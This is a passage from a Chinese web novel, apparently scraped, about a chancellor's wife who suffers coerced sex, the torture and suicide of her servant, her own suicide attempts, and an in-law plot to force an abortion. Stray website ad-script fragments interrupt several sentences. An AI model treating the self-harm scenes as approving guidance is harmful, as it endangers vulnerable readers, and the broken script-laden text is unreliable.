她脱下衣衫,露出滑腻的肩头,最后反手解开肚兜系带。繁复的裙裾在脚边堆成小山,她跨步走出来,拿手去勾魏巍的革带。 男人坐在远处,冷着一张脸。他微眯着眼睛,好像有点看不透她。 耿婳心里冷笑。 不就是要做吗,装什么矜持。表里不一的衣冠狗彘。 红帐落下,她为他摘下幞头,又弯腰去解革带,她这次动作麻利多了。 耿婳解开帷幔,红艳艳的薄纱在苍白的脸上留下糜丽。她扒了发簪,三千青丝倏地散落。 藕臂攀上魏巍的肩,她仰头干巴巴道:“来,相爷,我伺候你。” 整个过程里,她眼里无光,就像被妖精撤下去的那张画皮。 美好又虚假。 疾风骤雨,海棠香消。 他抽身而出的一瞬,耿婳立刻从男人怀抱里逃了出来。耿婳背对魏巍,侧躺在离墙面最近的那处。 宽大的拔步床,两人中间能装下两张小几。 黑暗里,她蜷缩起重获自由的身体,喘着粗气努力平复呼吸。 魏巍闻声,扭头看那一袅窈窕的背影。 汗水打湿乌发,黏腻的贴着雪肤。她就像梦境里透着白雾闪闪发光的美玉,明明触手可得,却又遥不可及。 缓了又缓,耿婳呼吸刚刚平复,就听到床上男人淡然的声音。 “我要离京了。” 她没搭话。 他去哪里,关她何事。 耿婳眼皮打架,昏昏沉沉睡下了。没过多久,柳腰被劲臂拢住,她硬生生被拉了回来。 他靠得很紧,炙热的身体烫到了她挺翘的后臀。 这就是又想要了。 “我给相爷美色,相爷饶了我身边人如何?”耿婳最担忧的,就是熹微。不知被他带到了哪里受罪。 夫妻之间,床头吵架床尾和。那晚帐里闹了一宿,魏巍气早消了。他信耿婳为人,她说和伍听肆清白,那便是真的清白。 可耿婳竟称他为“身边人”,魏巍微不可查地扬眉。 这一夜,注定不会太平。 夏夜阵雨连绵,窗边茉莉花瓣残缺不全,摇摇欲坠的花蕊艰难承受着强势灌下的雨露。 暴雨下了一整晚,至清晨才淅淅沥沥结束。 阿沁和青烟搀扶耿婳着去了浴房,昨晚内室那么大动静,两人多少听见了些。饶是做好了心理准备,真看到耿婳纵欢后的身体时仍是触目惊心。 碍于魏巍的威慑,两人伺候起耿婳也不敢无礼。 “夫人快些,相爷等着用餐呢。” “他还没走?” 浸泡在温热浴水里的耿婳还没缓过来。 一起用餐?他是没长手还是没长嘴,难道在等她伺候着去喂饭? 因为朝廷突如起来的任命,魏巍休沐整顿一日,隔天便启程去兖州。 另一边,魏巍围着满盘珍馐,尚未动筷。隔扇门紧闭着,偶有窸窣声传来。想必,她已经更衣梳妆了。 玄海盛了碗鱼汤,“相爷不是约了许大人,趁热先喝……” 魏巍偏头望着隔扇,像是没听到他的话。 内室落地罩里,耿婳坐在绣墩上,任由俩丫鬟捯饬自己。 “听玄海说一会儿许大人要来,咱们得打扮漂亮些。” 阿沁为她选了一套烟紫色衣裙,耿婳揉成团扔到地上,从衣柜里取出一件绣着雪梅的月色褙子。 魏巍这种虚伪之人,人前庄重敦肃,人后最爱风骚。她内里穿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着红肚兜他从不管,可衣裙稍微艳丽些,定被他指摘不守妇德。 多一事不如少一事,耿婳换上浅淡素雅的衣裙,又把头上珠翠一一取下,最后只用一支檀木黑簪挽起乌发。 刚梳妆好,就听见“吱呀”开门声。 阿沁和青烟垂眸屏气,不敢出声。耿婳抬头看着镜面里走向自己的男人。 五官端正,颇为俊朗,只是身形气质都不像魏巍。 她目力又下降了,眯眼细看,直到那人走到她身后,她才认清是谁。 不是魏巍,是玄海。 镜中视野相撞,玄海呆看了两眼,才红着耳朵行礼。 “夫人,明日相爷启程去兖州,朝廷兴建的水利出了事,圣上让丞相亲自去督工。” “这一来一回,短则三月,长则半年。夫人照顾好自己,可以先休息,一会儿许大人来不用去接见。” 他是来传话的。 “哦,他还让你交代什么。” “还有,还有……”玄海看了她一眼,不知道为什么,那双空洞的水眸直勾勾盯着人看,还真有点发憷。 “山高水远,丞相的革靴旧了。” 耿婳哼笑:“旧了就去买新的呀,找我说这个干嘛。” 玄海弯腰朝他作揖,低声道:“夫人别为难小的。相爷也许是想……” “想拿我当苦力给他做靴子?我就知道准没好事儿。” 她声音不大也不小,正好让三个下人听去了。阿沁和青烟惊得目瞪口呆,玄海更是惊诧。 自从那天她与相爷闹了别扭,整个人好像都变了。原来声音温柔细软,现在带细微的刻薄锐利,就好像炸了毛的猫儿一样,怎么哄都哄不好。 他迅速扭头看了眼身后不远处的屏风——其实魏巍和他一起进了内室,但留在屏风处。只叫他一人进落地罩传话。 耿婳顺着玄海的视线望去,见到屏风后端坐的人影。 装模作样。 怪不得昨晚那么用力,原来是怕以后吃不上肉。兖州的妓院与京城相比不遑多让,他又岂会委屈了自己。这种事可轮不到她为他操心。 一想到他要走人,耿婳心情顿时好了。再熬最后一个晚上,就不用见到他了。 耿婳暗喜完,又愁苦起来。她没去前厅接待许渊,而是留在屋里给魏巍制靴。她没办法,熹微姑姑被押走后,生死不明。她昨晚讨好魏巍,许是不用心的缘故,他都没说放人。 坐在榻上穿针引线,心思早就云游四海。稍有不慎,尖锐的银针刺进指肚,带出绯红的血花。 她丢下针头去吮受伤的手,刺进皮肉的痛苦逼得眼角闪出泪花。视野模糊间,她又想到了伍听肆,想到了那段与他做生意赚钱的自在时光。而现在什么都没了,她又重新回到四角樊笼里,继续做着卑微讨好的事。 夜里,更要极尽谄媚。 这是最后一次救姑姑的机会,她要把握住才行。 耿婳沐浴完没穿肚兜亵裤,穿了件水红色的素纱襌衣,隐约罩住曼妙玲珑的身段。她命人点上香炉,又在红帐边燃起灯烛。 周公之礼本是夜里的私密事,他却喜欢在明晃晃的环境里进行,之前在政事堂就常常白日宣淫,搞得她羞赧不已。 亥时,耿婳让阿沁去请他。 这人最会摆谱,她不去请,他想来也“师出无名”。 魏巍刚进隔扇,就看到床上坐着的耿婳。明亮的橘红烛光下,雪白娇躯染了一层浓稠的媚意。 耿婳笑盈盈唤他:“夫君。” 这是她第一次当面唤出这黏腻的两字。 那晚云雨后,耿婳环住魏巍脖子,依偎在他滚烫炽热的胸膛上,“相爷,能不能把熹微姑姑放出来。” 魏巍根本不知道熹微是谁,搂住她道:“明日我远赴兖州,山高水远……” “我给你做靴。”她抢答。 魏巍手指抚着她的唇珠,笑了。 黑夜里两人交颈而眠。耿婳不知睡了多久,又被他烫醒,这便又做了第二次。 姑姑尚被他捏在手心里,她不得反抗,只好强忍着迎合。 云消雨散后,纵欢之处突突得作痛,耿婳忍着不适,累得倒头就睡。 卯时,她被热醒,稍微翻了个身,就被他逮住机会骑.乘而上。 魏巍把数月烦忧全宣泄在这一方红帐内。抽身离开时,才注意到耿婳累昏的睡颜。 她疲惫极了,眉头微蹙,眼角噙泪,被汗水打湿的长发紧密贴着瓷白的胴体,膝盖上硌出红印,被他分开太久的双腿早没了闭合的力气。 泥泞的腿根好像在无声控诉他昨夜的暴行。风月之处肿胀流腻,浇灌得不能再满。 魏巍静静端详她好一会儿,直到玄海隔窗轻敲两下,提醒他要早早上路。 洗漱整理后,他去了书房。玄海最是懂事,已经将他要带的书册收拾好。 魏巍去暗室拿几件重要密文,在架子上看到了耿婳的家伙什。 那些制粉的配方和工具,他都留着呢。以后新政稳定,等他回来,就再还给她。 魏巍临走前看望了重病卧床的魏徵,老人行将就木,却劝慰他以政务为重,莫要牵挂。而后他去拜别母亲,杨氏泪如雨下,担忧地夜不能寐。魏巍笨拙地劝慰好久,又嘱咐她莫要难为他院里人。 出发前,他在府门前反复叮嘱魏嵘:“我这一去,一年半载回不来。你万事皆要小心,随时信件联系。” 魏嵘道:“大哥,你不是三月就回来?” “我倒是想。那些人费尽心思赶我出京,哪会愿意再让我轻易回来?倒是你,该挑大梁了。以后万事皆要小心,尤其当心刘理和怀安。尤其是怀安公主,此人心思细,心机深,若无要紧事,最好不要往来。” 魏嵘点头:“兄长放心,我记下了。” “嗯。”魏巍在府门前又驻足了片刻。原本可以早早出发,但是他磨蹭了一会儿。这个时间点,她应该醒了吧。 玄海最懂他,一看这架势,上跟前耳语:“相爷,不然我去叫夫人?” “你想我夫人了?”魏巍问。 玄海一愣,红了脸:“不是!当然不是!” 魏巍摆了他一眼,闷声:“出发!” 21. 021 耿婳一醒,知道魏巍走了,欢喜得不得了,沐浴梳妆后立马想到熹微姑姑。 不知她在哪里,这事杨氏应该知晓。她刚想去问。没等她出门,婆婆杨氏已经派人来请她了。 大堂里杨氏凌然坐在首位,旁边的柳惜君一脸严肃,两人一样的逼人之势,一副审讯要犯的样子。 耿婳一看这架势,就知道她们想要秋后算账——天下没有不透风的墙,自己私会伍听肆的事,一定被这些人知道了。 魏巍都不追究了,耿婳还怕什么。她不慌不忙福礼,看到地上铺着的草席,才意识到要下跪。 杨氏一点没有让她起身的意思,“前些天忙伯琳的事,没空理你。是自己招,还是让我动家法?” “进门时我就警告过你,魏府清雅,容不得脏物。你怎么敢一再挑战底线,与外男私通?”杨氏也是书香门第,竟然把“私通”两个字明晃晃放到台面上。 耿婳心里觉得好笑。她们什么证据也没有,竟敢一副抓.奸在床的正义模样。她们又哪里是没空理她,只不过魏巍在时不好下手,现在山中无老虎,这才敢称大王! 她转而看了柳惜君一眼。这人幽幽地转开目光,一副与我无关的样儿。 见耿婳一副没事儿人模样,杨氏哪能不气:“问你话,你是聋了还是哑了不知道答复,还是说眼里根本没我这个母亲?!” 此话一出,原本安静的堂内更加死寂。 “请问母亲,我错在何处?”耿婳道,“我和发小清风霁月,都是干净人。出去见面无非是谈生意买卖,从没做见不得人的事。” “原来是出去和竹马见面了。”柳惜君补了一句。 耿婳不解释还好,说出“发小”一词后,杨氏的脸肉眼可见绿了,再被柳惜君一挑唆,更是火上浇油。 “这就是承认外边养人了?见面就见面,什么谈生意谈买卖,相府是缺你的还是少你的,鼻子下面没长嘴么,不知道朝家里开口要?然跟外面人合计着做小买卖,丢人现眼不知羞,还敢在这儿胡搅蛮缠!” 杨氏小嘴一张一合,叭叭起来没完没了。耿婳心好累,她懒得解释,只淡淡道:“珠围翠绕如绳索,锦衣玉食赛砒霜。多说无益,你们不相信我也没辙,相爷信我就好。” 这些看她不顺眼的人,永远只会鸡蛋里面挑骨头,就算她解释再清,照旧会被指摘。还不拿魏巍压她们一头。 杨氏被她无所谓的架势激得怒火冲颅,魏巍回来陪她住了才几天,这会儿就敢藐视她这个大太太了? “老爷老了,相爷不在,你是觉得我一个妇道人家不敢上家法?”杨氏咬牙。 没想到耿婳还敢扬言:“母亲若能拿出半份私通证据,耿婳甘愿受罚!” 柳惜君道:“妹妹话不能乱说,你可知道府上的规矩,有夫之妇私通外男,按照家法可是要被浸猪笼的。” 浸猪笼就是把犯人放进猪笼,在开口处捆以绳索吊起来,放到江河里淹浸至死,残忍至极。这也是高门大户惩罚□□的方式。 耿婳扭头盯着她,笑道:“你是觉得我会害怕?” 她连和魏巍行房都不怕,难道还怕死吗? 杨氏蜷起手指,尖尖的指尖刺进肉里。她当然不能对耿婳动家法,这是魏巍临走前嘱咐过,说别动他院里人。 明摆着是袒护她。 这个狐媚惑主的妖媚子,仗着有丞相撑腰竟然敢这么嚣张,杨氏哪能不气。 “还在这里嘴硬?我动不了你,还动不了你周围人?” 耿婳心里一紧,还没等她细问,熹微直接被人托进来掷到地上。 “姑姑!” 数日不见,熹微形容枯槁,脏衣染血。枯草一样的头发夹带木屑,不知道被拖去了哪里审讯。 耿婳抱住奄奄一息的熹微,眼泪簌簌流下。 这个烈婢还和主子一样倔,用尽了家法还不招认。饶是手段极多的柳惜君也拿她没辙。 “我看你就别嘴硬了。要是早点认了,也不至于让姑姑受这么多苦。你说是吧?”柳惜君关怀完,还不忙讪笑几下。 “姑姑,是谁欺负你了?”耿婳心疼得哭花了眼,视线里模模糊糊只剩熹微衣衫上的血色鞭痕。 “小姐、小姐……” 熹微连说话都是困难的,她似乎使出浑身力气,拿眼睨了柳惜君一下。 和耿婳猜得没错。杨氏辈分高脾气差,但是个喜形于色又没心眼儿的。不像柳惜君,总是背地里使坏,充当婆婆的军师。 “都是相爷的意思。”柳惜君撇清干系。 这点耿婳当然知道,这一家子人哪个不是对魏巍马首是瞻。他下旨,她们执行罢了。 “我知道了。”耿婳声音轻飘飘的,没了平日的温软,只剩下一股压抑许久的狠劲儿。 她抱着熹微,把头枕在姑姑肩上,一双带着水雾的大眼睛直直锁着柳惜君,看得她浑身发毛,坐立难安。 杨氏才不想看她们主仆情深,“我让你们见面可不是来叙旧的。” “太太,小姐并未与人私通。二奶奶曾答应过我,若试过府里全部家法仍不招认,就认定是冤枉。奴婢已经、已经试过 了……” “姑姑……”耿婳的眼泪啪嗒啪嗒往下掉,心好像被一只铁手死死攥住,连带呼吸都疼了起来。 此次此刻,杨氏和柳惜君都不吱声了。 “你们竟然严刑拷打!”耿婳气得发抖。 “是这婢子自己提的,我们只是随了她的意。你在这儿吼什么吼,要不是你跟外人不清不楚,熹微也受不了这么多罪。”柳惜君狡辩着,不忘护着杨氏。 “她扬言说抱着必死决心受惩,为你平冤。”杨氏想起熹微庄严发誓的样儿,不由道,“你们耿家还算有个正气人。不似你 爹你娘,坏事做尽,罪有应得。” 耿婳道:“什么罪有应得?” 她还蒙在鼓里,引得杨氏和柳惜君忍俊不禁。 柳惜君脆生生笑道:“你还不知道呐,你父母贿赂朝廷命官,罪行严重,已经成了阶下囚,十有八九会当街问斩。” “嗯,那确实是罪有应得。”耿婳一听这话,心里倒安慰了不少。 她哪会管耿忠和杜氏的死活,熹微姑姑伤成这样,怕是动了命脉,再难好全。 他要提她讨回公道。 柳惜君看在眼里,阴森道:“一个婢子而已,贱皮贱肉的。要是真问心无愧受家法,估计人早没了。这不还活着呢呀。” 她的笑语像尖刀一样刺在熹微心上,也如压死骆驼的最后一根稻草。 “小姐,小姐……”她睁大布满血丝的眼睛,撑着力气从耿婳怀里起来。 “奴婢不中用了。以后啊,可要照顾好自己。” 她笑得和蔼,轻轻把耿婳垂下的一缕青丝别到耳后。 “姑姑……”耿婳心里生出了不好的预感,她摇了摇头,晶莹的泪花洒落而出。 没等她反应过来,熹微神色坚毅地冲到了檀木桌角上,脆弱的太阳穴一磕即破,鲜红的血迸溅出来。 熹微如断线之筝一样,倒在了血泊之中。 “姑姑——”耿婳手脚并用爬了过去。 柳惜君骤然尖叫一声,软着腿差点晕过去。杨氏也头一回见这么血腥的画面,惊得面色发白。旁边有眼力见儿的侍女忙搀扶两人离开,满堂的人瞬间撤了个干干净净。 “姑姑!”耿婳把人儿搂在怀里,像哄婴儿一样越抱越紧,就像她小时候抱自己一样。 “没事儿的姑姑,一会儿就不疼了。”她捂住额头伤处,努力帮她止血。 空荡荡的堂内,只剩下她们二人。耿婳哽咽着,一遍遍唤着她。直到熹微呼吸停止,体温渐渐凉下来。 再过一会儿, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的身躯就会变硬,然后一点点发烂。耿婳必须处理后事,可是她连抱姑姑出去的力气都没有。 她该怎么办。 “来人,快来人!” “谁能帮帮我,这里出了人命……” “你们快回来,求求你们!” 空洞的大堂除了她苍白尖锐的回音,再无声应答。耿婳大脑一片空白,泪眼朦胧望着那片绯红骇人的血迹,视野逐渐模糊…… 再醒来时,她躺在内室拔步床上,旁边只有个嗑瓜子的阿沁。 “小姐可算醒了。晕了三天三夜,可把府里忙坏了。” 耿婳脑子晕晕乎乎,清醒后先想到熹微,心跟着太阳穴一起抽痛起来。 “姑姑,姑姑她……” 阿沁抢话:“埋了,草席裹的尸。” 她磕完手边瓜子,把漆盘递过来:“鸡汤,趁热喝。太太特意嘱咐的,您醒来务必得喝了。” 耿婳冷笑,只觉得黄鼠狼在给鸡拜年。 “善心大发,难为她了。” “还不是小姐怀了孩子,不然也不会送来。”阿沁嘟囔了一句。 耿婳惊讶:“什么?” “您昏睡的这几日,府上请了太医诊脉,说您怀孕一月有余,胎象不稳。不可忧思过重,更要保养好身子,这才每天都送来成堆补品。” “哦对了,这是相爷临走前订的皮革,昨儿刚送来,说是给您做靴子用的。” 耿婳差点把这事儿忘了。 魏巍走后,耿婳信守诺言给他做鞋,以此换姑姑自由。如今熹微撒手人寰,只留她一人在世上。 她做鞋还有什么用。 经历了生离死别后,再想起那个远去兖州的夫君,耿婳感觉恍如隔世。心底生出几丝微弱的酸涩,旋即就被熹微故去的伤感取代。 她揪紧那片皮革,慢慢蜷起身子把脸埋了进去。 “娘亲,姑姑,都不在了……” 从今以后,她彻底是个孤儿了。 阿沁哄道:“夫人压,哭也没用。我要是你,就好好把肚里孩子生下来养大,没准儿还有转机呢。” 耿婳仰起头,眼睛通红一片,瞳仁黯淡无光。 “夫人可要好好吃药,好好活着,阿沁等着给您养娃呢。” 许久,耿婳才叹道:“其实活着也没什么意思。” 阿沁劝道:“也不能这么想。等您生下男胎,不就坐稳相府主母的位子啦,到时候我看谁还敢放肆。” 她岂会不知阿沁的心思。如今耿家被抄,她没了退身步。只能把未来投资在她这个弱小的主子身上。 主母的地位倒不重要,算她为魏巍诞下男婴又如何,未来余生还不是得守着深宅大院禁锢一生么。 可腹里孩子是无辜的啊,她不得不暂时当一只不死鸟,在相府继续活下去,继续面对魏巍,面对这个从来都不曾爱过她的,明面上的夫君。 她抚摸着全新的皮革料子,道:“把针线拿过来吧。” 革靴做法繁复,熹微在身边时,她尚且缝缝补补总出错,更何况现在没了姑姑。 缝制了一会儿,眼前又浮现出姑姑的笑脸。不一会儿,母亲也出现了,她和熹微凑在一起,静静陪着她做靴。 眼前的母亲和蔼笑着,嘴上是温柔的教诲:“婳儿,这里针脚歪了。” “哪里呀,我马上改。”耿婳退口而出。 回答她的只有阿沁的笑声,“小姐你又自言自语了。” “是吗?”耿婳自己都没注意。 夜里,她一个人缝着靴子,时不时在帐内发出笑声,好像在和什么人笑语相谈。言语里还全是“娘亲”、“姑姑”这类死人…… 阿沁和青烟觉得吓人,慢慢都不敢在内室守夜了。 又过了几天,耿婳开始对着娘亲的遗画自言自语。又过了半月,府里人都说丞相夫人疯了。 22. 022 丞相夫人痴痴傻傻的流言最终传到了杨氏耳边。她一边忙着封锁消息,一边叫来柳惜君想办法。 柳惜君劝道:“母亲别急,姐姐许是没缓过来呢。那天血糊糊的,咱们看了不也害怕吗。” 杨氏道:“问题是她现在疯疯癫癫的,万一传出去岂不坏了魏家名声。更何况,肚里还有个孩子,万一也染上癫病怎么办? 魏家百年清誉,难不成要毁在这一代上?” “母亲稍安勿躁。”柳惜君轻轻给她顺背,“谁说那是咱们魏家的孩子了?” “你什么意思。” 柳惜君道:“她怀孕一月有余,那段时间又不是只和丞相见面了。” 一个多月前,正是逮到她与外男私会的时候。 杨氏惊道:“有可能是野种?” “也未可知啊。”柳惜君道,“可惜丞相护着,咱们管不了。” 杨氏道:“上回真是便宜她了,要不是烈婢殒身,定要彻查。” “其实兄长远在兖州,鞭长莫及。不如……”柳惜君轻轻朝脖子一划。 杨氏摇头:“那孩子有可能是我魏家的,还是等生下来滴血认亲稳妥。” “可若是个被怀疑过血亲的孩子,更会惹人非议。万一被政敌拿来做文章,坏我魏家名声不说,也影响丞相仕途。到时候夜 长梦多更不好办,不如未雨绸缪。” 原来魏巍不婚不育,对凌儿疼爱有加,当成亲生儿子对待。她早就习惯了受呵护的日子,如今耿婳怀有身孕,势必会把荫庇抢走。 她如果生的孩子万一是个儿子,岂不要压魏凌一头。到时候她中馈大权被夺不说,还要在这么个上不了台面的商人女低声下气。她哪里受得了。 不如早做打算,把这些未知的威胁扼杀在摇篮里。 “我听青烟那孩子说,耿婳早有郁结之气,整日闷闷不乐,忧思烦神,不像是个想活的。” 杨氏道:“总之,她有孕的事,不可惊动伯琳。毕竟人命关头,要从长计议。” 柳惜君:“可是……” “先莫管这事,我看老爷这几日印堂发黑,颇有些病入膏肓。”杨氏低头抹泪。 柳惜君刚要劝慰,就听到下人来报。 “不好了,不好了,大奶奶她、她不想活了!” 内室里,艳丽的红绫凌乱散落在地上。走近一看,是用诸多红色衣裙拧在一起捆绑连接起来的。 耿婳侧卧在阿沁怀里,雪白的颈面上红痕触目惊心。眼球微凸仰望着屋顶正脊,一只手臂无力垂在歪倒的圆凳上。 “怎么回事!” 杨氏领着一群人浩浩荡荡进屋。 “咦?” 耿婳扒开散落在面见的发丝,细看来人,歪头笑问:“你们怎么来啦?” 她声音又尖又细,空洞的眼底泛出诡异的笑意。一张脸素面朝天,长发披散着不做梳妆,纵使再漂亮,也看着跟个鬼一样。 杨氏和柳惜君一时惊得说不出话来。 耿婳就知道她们不是来看望她的。她只是个容纳魏家血脉的器物罢了,确保她没死,才能保障腹里孩子无恙。 她摸摸小腹,直言:“放心,孩子还在呢。回去吧赶紧。” 反正这群人又不是来关心她的,何必杵在这儿惺惺作态。 杨氏气得发抖:“瞧瞧你现在,人不人鬼不鬼的哪儿有个丞相夫人的气质!一个人在屋里装神弄鬼的成何体统,若是传出 去……” “传出去就传出去,反正是你们把我变成这样儿,丢人现眼的也是你们。”耿婳尖锐地打断她。 柳惜君一边拍抚着杨氏起伏的胸襟,一边斥她:“那你寻死腻活是要唱哪出,害得母亲白白操心!” “我可没有寻短见,只是好奇想知道石榴裙连起来能不能挂到正脊上,结果失败了。都怪阿沁她们大惊小怪,还把你们给传过来了。你以为我想见到你们呀!” 自从熹微死后,她嘴巴尖利了不少,挑刺抬杠是一句比一句狠。众人皆当她疯了,也不计较。 反正她怀着孩子母凭子贵,有权利嚣张。难道还有人敢罚她不成? 罚一个试试,她们敢罚,耿婳就敢让孩子陪她受罚受累。 反正又不是非生不可,想要孩子的可不是她哦。 杨氏哪能看不出耿婳趁机示威,正气得牙痒痒,就听到柳惜君在旁边支招:“母亲想保证胎儿安稳,何必太在意她这个大的。” “你的意思是……” 不等杨氏说完,柳惜君命令道:“来人,把大奶奶手脚绑了,每日轮流守着伺候。若腹中胎儿有恙,我先拿你们过问!” 众人纷纷应喏。 在那之后,耿婳被绑在拔步床上,四肢动弹不得。每日被阿沁青烟等人轮流喂饭喂水,拨衣擦身。 “真是的,还要伺候她出恭。”阿沁怨声载道端起夜壶。青烟在一旁捏着鼻子干呕。 在她们不加掩饰的嫌恶中,她活得宛如待宰的鸡羊刍狗。 没有半分尊严。 耿婳闭紧眸子,咬牙流着清泪。 她好后悔,后悔为什么当初对这个孩子产生怜悯与期待。要是偷偷喝下堕胎药,是不是就能免除现在的屈辱和痛苦。 她更应该可怜可怜自己! 相府的人更没有因为她有孕而高看她一眼,她们还是像原来一样,只当她是魏巍看不上又不得不收留的弃妇。 除了耿婳自己,其他人才不会在意她腹中这一胎。毕竟连她这个生母都被质疑过不贞,生下的孩子十有八九会被怀疑血脉。 与其等他长大后受人指摘,还不如和他一起逃走。 如果可以的话,她好想快点见到这孩子。 可她不想让他踏进魏家门楣,这个地方一草一木都是虚伪又肮脏的。她好想带他走,离开这座不见天日的深宅大院。 她要带着她的骨肉去最遥远最干净的地方,去见娘亲,见姑姑,去过无人打扰的日子。 可她永远都做不到。她这短暂的十七年里,不断被人摆布,没有一刻能把握自己的命运。 美梦寂灭之时,是最残酷的。 既然阴阳两隔,不如…… 耿婳心一横,牙关咬住舌头,渐渐使劲。 “啊!”给她擦拭身体的青烟最先反应过来,眼疾手快去掐她不断闭合的下颌。 “来人啊,救命啊!” “奶奶咬舌自尽了……” 耿婳以后自己死定了。 在混沌之中,她看到了一个朝她挥手的小男孩。那孩子粉雕玉琢,好像神话传说中的仙童一般圣洁可爱。 他拉着她的手走啊走,一直走到奈何桥畔,那里站着两个熟悉的女人。 “婳儿。”林氏正朝她笑。 “小姐。”熹微朝她挥手。 “娘亲!姑姑!”耿婳鼻尖一酸,拉着孩子就奔向她们。 小男孩跟不上她的脚步,渐渐被甩开了。耿婳两眼泪花直冒,像一阵风一样快跑到她们身边。 她都有多少年没和娘亲姑姑安安稳稳生活了。她才不要孩子,她自己就是个孩子。 两位和蔼的长辈张开双臂,正等着她。 肢体相触的一瞬,一切化为欢迎。娘亲和姑姑不见了,身后的孩子化成黑影。奈何桥陡然消失,她坠落到冰冷漆黑的水域中,身子从里到外陷入死一般的冷寂。 忽得醒来,眼前还是这四方红帐。 她还在内室里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,不同的是嘴上绑着的粗厚布条。 刚从美梦中惊醒,就是阿沁劈头盖脸的埋怨:“小祖宗你可消停点儿吧。可别给我找事儿了。现在我们轮流守夜,天天盯着你呢。” 自那天咬舌未遂后,她就被严格“保护”起来。为了防止再整幺蛾子,除了必要吃饭饮水,其余时候连嘴巴都不能正常闭合。 耿婳重重叹出口浊气,原来活着还不如死了呢。 和家人重逢的美梦不断在脑中上演。每一次结束,都是对灵魂的鞭挞。转眼到了深秋,天气转寒,她的身子越来越重。 她已经怀孕五个月了,肚皮渐渐隆起,即使平躺着也能看到弧度。 听丫鬟们说,魏巍在兖州公务缠身,暂时回不了了。 一想到他,耿婳恍如隔世。她已经许久没有梦到他,想到他。这回听青烟提及,心中无甚波澜,继而生出些许忧愁。 因为他交代的靴子她还没开始做呢。 更可惜的是,等她生完孩子,就又要受他的刺,忍他的痛。 杨氏听信了柳惜君的话,打算先让下人伺候着耿婳,等孩子生下来再滴血认亲。如今听到魏巍暂时回不来的消息,她反而松了口气。 这事万万不能让他知道。况且——“等伯琳回来,看到她这个样子,岂不晦气?” 柳惜君随声附和:“谁说不是啊。府里人嘴严,可纸包不住火。大哥这样大的官,最需要端庄稳重之人来操持家务。你看看 她那个疯癫样子,跟得了癔症没两样儿。” 杨氏怕耿婳疯傻的事传出去,一直没敢传太医。任由她“野蛮生长”,现在到了不得不铲除祸根的时候了。 “这孩子一旦随了母亲,染上病症,岂不让外人耻笑。” “也是。” 杨氏是个优柔寡断的,磨磨蹭蹭拿不定主意之时,最先迎来的噩耗就是丈夫的病逝。 前朝礼部尚书魏徵在深秋雷雨夜里暴毙。 他积病难愈,心悸而亡。 魏家到了魏巍魏嵘这一脉,已经人丁稀少。再加上新政改革得罪众臣勋贵,这次葬礼除了皇帝象征性的发了悼文,其余臣子 皆是简单走个过场。 唯独心思缜密的怀安公主发现了不对劲。 “这么大的丧事,怎么不见丞相夫人?”魏巍还在兖州,赶不回来也正常。可她耿婳又是怎么回事,公爹去世都不露面? 杨氏慌了神,柳惜君赶紧打掩护。怀安公主半信半疑,她聪颖过人,岂是那么好糊弄的? 柳惜君和杨氏本以为没事,魏嵘却格外谨慎。怀安能在朝廷里翻云覆雨,又是刘理枕边人,定然会揪住耿婳的过失不放,彻 查到底。 如果拔出萝卜带出泥,耿婳在丁忧期生子不说,或许还能顺藤摸瓜查出她与外男私会之事。到时候颠倒黑白,没准会给魏家安上门风不正的污名。 “朝廷上下对新政颇有陈词,如今父亲去世不久,她又在丁忧期产子,这不就活生生给御史台摸黑的机会?” “那就先把她藏起来,等生完孩子再做打算。”杨氏急道。 魏嵘摇头:“纸包不住火,多少双眼睛盯着我魏家。一旦被人揪住把柄,跳进黄河也洗不清!” “况且,这孩子不一定是我们魏家血脉。冒这么大风险生下来,犯不上呀。”柳惜君又补了一句。 魏嵘没再答话,一个人自顾自回房疾书写信。 杨氏这才意识到问题的严重性。之前老爷还在,魏家走了魏巍,踏进门庭的官僚少之又少,尚且能遮阳耿婳怀孕的事。 如今形势急转直下,已经成了有风险的事。 她思虑着缓缓道:“也是。要是没这孩子,一切都好说……” 23. 023 葬礼持续数日,耿婳迟迟未曾露面。她如往常一样被缚在床上,听着窗外响彻云霄的哀乐和恸哭。这几日下人没空管她,只有饭点喂些流食。 今天总算安静了,她被阿沁青烟几个丫鬟剥衣擦身,而后强灌了一碗鸡汤。嘴角的汤渍没人擦,顺着脖子流进衣领里。 今天的鸡汤炖的有点咸,她还没来得及要水,就被堵住了口。 青烟和阿沁刚收拾碗碟要走,却见门被推开。杨氏和柳惜君领着仆从浩浩荡荡进来了。 “还不给大奶奶松绑。”柳惜君立刻吩咐青烟。 四肢的禁锢一除,耿婳警惕地看着不速之客。 阿沁给两人搬来绣墩,杨氏和柳惜君坐在拔步床前。 “都出去吧。”杨氏吩咐完,留在屋里的下人退下,唯独留了个端着漆盘的老妈妈。 耿婳微微抬眼,看到漆盘碗里冒着热气。又是她们送来的补品? 不对! 如果是补品,不会这么兴师动众。 “妹妹这些天受苦了,我和妈妈特来……” “特来打胎?”耿婳扭头插话,“你们又不想要孩子了?” 无论杨氏还是柳惜君,皆是诧异。 她声音空灵,像个没有灵魂的鬼魅。 初来乍到时,她是个任人宰割的商户小媳妇。现在却有种生死看淡的洒脱直白。 人的气质变化能有多大,柳惜君在她这里尽知了。 “嫂嫂聪慧过人,我也打开天窗说亮话。如今外面形势危急,朝廷上下都盯着我们魏家。老爷尸骨未寒,丁忧期要是生下一子半女,恐人非议。” 耿婳小心摸着孕肚,问:“魏巍怎么说。这是他的孩子,难道不该他做决定?” 魏徵一死,魏家的实际掌权人就是魏巍。耿婳即使再落魄,也有主母之实。 杨氏瞥一眼柳惜君,后者掏出信件,道:“上月二爷与相爷通信,提到胎儿的事。相爷的意思是,不如不要。” “我要看笔迹!”耿婳道。 柳惜君把信纸递过去。 行楷刚劲强硬,确实是魏巍的笔迹。她在政事堂陪他时,最熟悉了。 “他、他不要孩子了?”耿婳低语。 一颗心沉到谷底,脊骨发凉,浑身泛起恶寒。 他之前说过,他想生一个的。 自从怀了孩子,她经常想起魏巍,想如果他知道她有孕了,会有多高兴。 她从此以后,会有一个安稳又完整的家。 家里有夫君,有孩子。她能因此立足,不受人欺辱。 其实这些都是她曾幻想过,不愿意在丫鬟面前透露的心思。 